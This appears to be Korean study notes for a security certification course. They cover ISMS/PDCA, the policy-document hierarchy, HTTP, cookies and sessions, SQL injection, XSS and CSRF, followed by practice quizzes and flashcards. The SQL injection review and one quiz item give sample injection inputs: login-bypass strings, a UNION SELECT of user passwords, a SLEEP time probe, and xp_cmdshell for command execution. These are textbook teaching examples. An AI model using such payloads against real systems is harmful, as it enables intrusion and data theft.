먼저 유형/기능을 직접 써 보고 답을 확인하자. 일부는 문맥에 따라 기능이 둘 이상일 수 있다.

5. 정보보호 관리체계(ISMS)와 PDCA

관리체계란 대책을 한 번 깔고 끝내는 게 아니라, 계획 → 실행 → 점검 → 개선을 계속 돌리는 체계다. 위협은 계속 바뀌기 때문이다. 이 순환을 PDCA(데밍 사이클)라 한다.

flowchart LR
    P["Plan
정책 수립
위험 평가
대책 선정"] --> D["Do
대책 구현
교육·운영"]
    D --> C["Check
모니터링
내부 감사
점검"]
    C --> A["Act
시정 조치
개선"]
    A --> P

• 국제 표준 ISO/IEC 27001, 국내 인증 ISMS-P(정보보호 및 개인정보보호 관리체계)가 이 사고방식을 따른다. 클라우드 서비스용 CSAP도 있다. 모두 Week06_정보보안 관리 및 법규에서 다룬다.

6. 정보보호 정책 문서의 계층

회사 보안 문서는 위로 갈수록 추상적·장기적, 아래로 갈수록 구체적·자주 바뀜.

          ▲ 추상적·경영진 승인·잘 안 바뀜
   ┌──────────────┐
   │    정책       │  "회사는 정보자산을 CIA 관점에서 보호한다"
   ├──────────────┤
   │    표준       │  "비밀번호는 영문·숫자·특수문자 조합 8자 이상" (필수)
   ├──────────────┤
   │    지침       │  "기억하기 쉬운 문장형 비밀번호 사용을 권장" (권고)
   ├──────────────┤
   │    절차       │  "1. 포털 접속 2. 내 정보 3. 비밀번호 변경 클릭..."
   └──────────────┘
          ▼ 구체적·실무자용·자주 바뀜

7. 보안 조직 기초

• 경영진의 참여와 지원이 관리체계 성공의 제1조건이다. 실무자만 열심히 해서는 예산·권한이 없다.
• 감사 조직은 운영 조직과 독립되어야 한다 → Day 1의 직무 분리 원칙.

⚠️ 시험 함정

• 유형(관리/물리/기술)과 기능(예방/탐지/…)을 섞어 묻는다. "CCTV는 기술적 통제" → 일반적으로 물리적.
• IDS = 탐지, IPS = 예방. 이름이 비슷해 단골 함정.
• 경고문 = 억제, 예방이 아니다(물리적으로 막지 않음).
• 백업은 복구, 백신 치료는 교정.
• PDCA에서 위험 평가는 Plan, 내부 감사는 Check.
• 정책 문서 최상위는 정책, 가장 구체적인 것은 절차. 지침은 권고(일반 모델 기준).
• 정책의 최종 승인권자는 최고경영자(경영진).

기출 포인트

• 대책 예시를 주고 유형 또는 기능을 분류하게 하는 문제가 매우 자주 나온다.
• PDCA 각 단계에 해당하는 활동 매칭.
• 정책·표준·지침·절차의 정의와 강제성, 계층 순서.
• 보안 조직 구성원 역할, 특히 경영진 책임과 CISO의 역할.

확인 문제

Q1. 다음 대책 중 기능상 탐지 통제에 해당하는 것은?
① 방화벽 ② 침입탐지시스템(IDS) ③ 데이터 백업 ④ 출입 통제 게이트

Q2. 다음 중 관리적 보안 대책에 해당하는 것은?
① 서버실 항온항습기 ② 보안 인식 교육 ③ 웹 방화벽 ④ 디스크 암호화

Q3. PDCA 사이클에서 Check 단계의 활동으로 가장 적절한 것은?
① 정보보호 정책 수립 ② 위험 평가 수행 ③ 내부 감사 및 모니터링 ④ 보호대책 구현

Q4. 정보보호 문서 중 "작업을 수행하는 단계별 상세 방법"을 기술한 것은?
① 정책 ② 표준 ③ 지침 ④ 절차

Q5. 패치를 적용할 수 없는 구형 생산 설비 서버를 별도 망으로 분리하고 집중 모니터링하는 대책은 기능상 무엇에 가장 가까운가?
① 억제 ② 보완 ③ 복구 ④ 교정

Day 7 · 주간 정리

주간 요약 (아웃라인)

1. HTTP (Day 1)

• URL: 스킴://호스트:포트/경로?쿼리#프래그먼트 (프래그먼트는 서버로 안 감)
• 요청: 요청 라인(메서드 경로 버전) → 헤더 → 빈 줄 → 바디 / 응답: 상태 라인 → 헤더 → 빈 줄 → 바디
• 메서드: GET(URL 노출), POST(바디, 평문), PUT/DELETE(비활성화), TRACE → XST, OPTIONS(정보 노출)
• 안전 = 상태 안 바꿈(GET, HEAD, OPTIONS, TRACE) / 멱등 = 여러 번 해도 같음(+PUT, DELETE), POST는 둘 다 X
• 상태 코드: 2xx 성공, 3xx 리다이렉트(301 영구, 302 임시), 4xx 클라이언트(401 미인증, 403 권한 없음, 404), 5xx 서버
• 헤더: Host(필수), Referer(직전 페이지), Cookie/Set-Cookie, Location(리다이렉트), Content-Type, User-Agent
• HTTPS = HTTP over TLS: 기밀성·무결성·서버 인증 / 웹 취약점은 못 막음, HSTS

2. 쿠키·세션 (Day 2)

• 쿠키 = 클라이언트 저장(변조 가능), 세션 = 서버 저장 + 클라이언트는 세션ID
• Secure(HTTPS만), HttpOnly(JS 접근 차단 → XSS 쿠키 탈취 방지), SameSite(CSRF 완화, None은 Secure 필수), Domain(지정 시 하위 도메인 포함), Path, Expires/Max-Age(없으면 세션 쿠키)
• 하이재킹 = 훔치기 → HTTPS, HttpOnly, 무작위 ID, 타임아웃
• 고정 = 미리 심기 → 로그인 시 세션ID 재발급

3. SQL Injection (Day 3)

• 원인: 입력(데이터)과 SQL(코드)이 문자열 연결로 섞임
• 인증 우회: admin'-- , ' OR 1=1 --
• 유형: Error(오류 메시지) / UNION(ORDER BY로 컬럼 수 → UNION SELECT) / Boolean Blind(참·거짓 페이지) / Time Blind(SLEEP, WAITFOR) / Stacked·xp_cmdshell
• 대응: Prepared Statement(근본) > 입력 검증 > 오류 숨김 > DB 최소 권한 > WAF. MyBatis #{} 안전, ${} 위험

4. 웹 공격 3대장 (Day 4)

• XSS: 피해자 브라우저에서 스크립트 실행 (저장/반사/DOM) → 출력 인코딩, HttpOnly, CSP
• CSRF: 로그인된 피해자 권한으로 요청 위조 → CSRF 토큰, SameSite, 재인증
• XSS = 사용자가 서버를 신뢰 / CSRF = 서버가 사용자를 신뢰

5. 보안관리 용어 (Day 5)

• 자산(가치) / 위협(원인·행위자) / 취약점(약점) / 위험(가능성×영향) / 대책 / 잔여 위험(→ 수용)
• 위험 = f(자산, 위협, 취약성), SLE = AV × EF, ALE = SLE × ARO
• 처리 전략: 감소 / 회피 / 전가(보험) / 수용

6. 대책·관리체계 (Day 6)

• 유형: 관리적(정책, 교육) / 물리적(CCTV, 출입통제, UPS) / 기술적(방화벽, 암호화, 백신)
• 기능: 억제(경고문) / 예방(방화벽) / 탐지(IDS) / 교정(백신 치료, 패치) / 복구(백업) / 보완(대체 통제)
• PDCA: Plan(정책·위험평가) → Do(구현) → Check(감사·모니터링) → Act(개선)
• 문서: 정책(방향, CEO 승인) → 표준(필수 기준) → 지침(권고) → 절차(단계별 방법)
• 조직: CEO(최종 책임), CISO, CPO, 정보보호위원회, 실무조직, 독립된 감사

미니 퀴즈 (15문항)

Q1. URL https://shop.com/item?id=5#review 에서 웹 서버로 전송되지 않는 부분은?
① shop.com ② /item ③ id=5 ④ review

Q2. 다음 중 안전(Safe)하면서 멱등(Idempotent)한 메서드로만 묶인 것은?
① GET, HEAD ② POST, PUT ③ PUT, DELETE ④ POST, PATCH

Q3. 로그인한 사용자가 관리자 전용 페이지에 접근했으나 권한이 없을 때 적절한 응답 코드는?
① 301 ② 401 ③ 403 ④ 500

Q4. 리다이렉트 응답에서 이동할 주소를 알려 주는 헤더는?
① Referer ② Location ③ Host ④ User-Agent

Q5. 쿠키 속성과 그 효과의 연결로 옳지 않은 것은?
① Secure - HTTPS 연결에서만 전송
② HttpOnly - JavaScript의 쿠키 접근 차단
③ SameSite - 교차 사이트 요청 시 쿠키 전송 제한
④ Path - 쿠키 값 암호화

Q6. 공격자가 미리 받아 둔 세션ID를 피해자가 로그인할 때 사용하게 만든 뒤, 같은 세션ID로 피해자 계정에 접근하는 공격은?
① 세션 하이재킹 ② 세션 고정 ③ CSRF ④ 반사형 XSS

Q7. 다음 SQL Injection 입력 중 Time-based Blind 기법에 해당하는 것은?
① ' OR 1=1 -- ② 1 UNION SELECT id, pw FROM users ③ 1 AND SLEEP(5) ④ 1'

Q8. Prepared Statement가 SQL Injection을 막는 원리로 가장 적절한 것은?
① 입력값을 Base64로 인코딩한다
② SQL 구조를 먼저 확정하고 입력값은 데이터로만 바인딩한다
③ DB 오류 메시지를 숨긴다
④ 특수문자를 모두 삭제한다

Q9. 다음 중 MS-SQL에서 SQL Injection으로 호출되면 OS 명령 실행으로 이어질 수 있는 확장 저장 프로시저는?
① xp_cmdshell ② SLEEP ③ ORDER BY ④ UNION

Q10. XSS에 대한 설명으로 옳지 않은 것은?
① 저장형 XSS는 스크립트가 서버에 저장되어 여러 사용자에게 영향을 준다
② 반사형 XSS는 주로 조작된 링크 클릭을 통해 발생한다
③ DOM 기반 XSS는 서버를 거치지 않고도 발생할 수 있다
④ XSS의 근본 대책은 DB 계정 최소 권한이다

Q11. 공격자가 만든 페이지에 숨겨진 폼이 로그인된 피해자의 브라우저를 통해 "비밀번호 변경" 요청을 보내게 했다. 이 공격과 대표 대응의 연결로 옳은 것은?
① XSS - 출력 인코딩 ② CSRF - CSRF 토큰 ③ SQLi - Prepared Statement ④ 세션 고정 - 세션ID 재발급

Q12. "약한 비밀번호 정책"은 다음 중 무엇에 해당하는가?
① 자산 ② 위협 ③ 취약점 ④ 잔여 위험

Q13. 사고 1회 예상 손실(SLE)이 4,000만 원이고 4년에 한 번 발생한다면 연간 예상 손실(ALE)은?
① 1,000만 원 ② 4,000만 원 ③ 1억 6,000만 원 ④ 400만 원

Q14. 다음 중 대책 유형과 기능의 연결이 옳은 것은?
① CCTV - 기술적·예방 ② 경고 표지판 - 물리적·억제 ③ 백업 - 관리적·탐지 ④ IDS - 물리적·교정

Q15. 정보보호 정책에 대한 설명으로 옳지 않은 것은?
① 정책은 조직의 정보보호 방향과 원칙을 제시하는 최상위 문서이다
② 정책은 최고경영자의 승인을 받는 것이 바람직하다
③ 절차는 정책보다 구체적인 단계별 수행 방법을 담는다
④ 정책에는 시스템별 상세 설정값과 명령어를 모두 기술해야 한다

카드

• URL 중 서버로 전송되지 않는 부분 : 프래그먼트(#)
• HTTP 요청 구조 : 요청 라인 → 헤더 → 빈 줄 → 바디
• URL에 파라미터 노출되는 메서드 : GET
• POST 바디는 암호화되나 : 아니오 (HTTPS 필요)
• XST 공격에 쓰이는 메서드 : TRACE
• 비활성화 권고 메서드 : TRACE, PUT, DELETE (불필요 시)
• 안전(Safe) 메서드 정의 : 서버 상태를 바꾸지 않음
• 멱등이지만 안전하지 않은 메서드 : PUT, DELETE
• 멱등하지 않은 대표 메서드 : POST
• 401 의미 : 인증 필요(미인증)
• 403 의미 : 접근 금지(권한 없음)
• 301 / 302 : 영구 이동 / 임시 이동
• 4xx / 5xx : 클라이언트 오류 / 서버 오류
• 직전 페이지 주소 헤더 : Referer
• 리다이렉트 목적지 헤더 : Location
• HTTP/1.1 필수 헤더 : Host
• 서버 버전 노출 헤더 : Server (X-Powered-By)
• HTTPS가 제공하는 것 : 기밀성, 무결성, 서버 인증
• HTTPS 강제 헤더 : HSTS (Strict-Transport-Security)
• 세션 데이터 저장 위치 : 서버 (클라이언트는 세션ID)
• JS로 쿠키 접근 막는 속성 : HttpOnly
• HTTPS에서만 쿠키 전송 : Secure
• CSRF 완화 쿠키 속성 : SameSite
• SameSite=None의 조건 : Secure 필수
• Expires/Max-Age 없는 쿠키 : 세션 쿠키 (브라우저 종료 시 삭제)
• 세션 고정 대응 : 로그인 시 세션ID 재발급
• 세션 하이재킹 = ? / 세션 고정 = ? : 훔치기 / 미리 심기
• SQLi 근본 원인 : 입력(데이터)과 SQL(코드)의 문자열 연결
• SQL 주석 기호 : -- (MySQL은 #도, 블록 /* */)
• UNION 사용 조건 : 앞뒤 SELECT 컬럼 수 일치
• 컬럼 수 파악에 쓰는 구문 : ORDER BY n
• 참/거짓 페이지 차이로 추측하는 SQLi : Boolean-based Blind
• 응답 시간 차이로 추측하는 SQLi : Time-based Blind
• OS 명령 실행 가능한 MS-SQL 프로시저 : xp_cmdshell
• SQLi 근본 대응 : Prepared Statement
• MyBatis 안전한 바인딩 : #{} (${}는 취약)
• XSS 피해 대상 : 사용자 브라우저
• 서버에 저장되어 열람자 모두 피해 : 저장형 XSS
• 서버 로그로 탐지 어려운 XSS : DOM 기반 XSS
• XSS 핵심 대응 : 출력 인코딩 (+ HttpOnly, CSP)
• CSRF 대표 대응 : CSRF 토큰
• XSS vs CSRF 신뢰 관계 : 사용자→서버 신뢰 / 서버→사용자 신뢰
• 위협이 이용하는 약점 : 취약점
• 위험의 구성 요소 : 자산, 위협, 취약성
• SLE / ALE 공식 : AV×EF / SLE×ARO
• 보험 가입은 어떤 위험 처리 : 전가
• 대책 후 남는 위험 : 잔여 위험 (→ 수용)
• CCTV는 어떤 대책 : 물리적 (탐지·억제)
• 경고문의 기능 : 억제
• IDS / IPS 기능 : 탐지 / 예방
• 백업의 기능 : 복구
• 주 통제 대신 쓰는 대체 통제 : 보완 통제
• 관리체계 순환 모델 : PDCA
• PDCA에서 위험 평가 / 내부 감사 : Plan / Check
• 정책 문서 최상위 : 정책 (→ 표준 → 지침 → 절차)
• 권고 성격의 문서 : 지침(Guideline)
• 정보보호 최종 책임자 : 최고경영자

오답 / 모르는 용어

네비게이션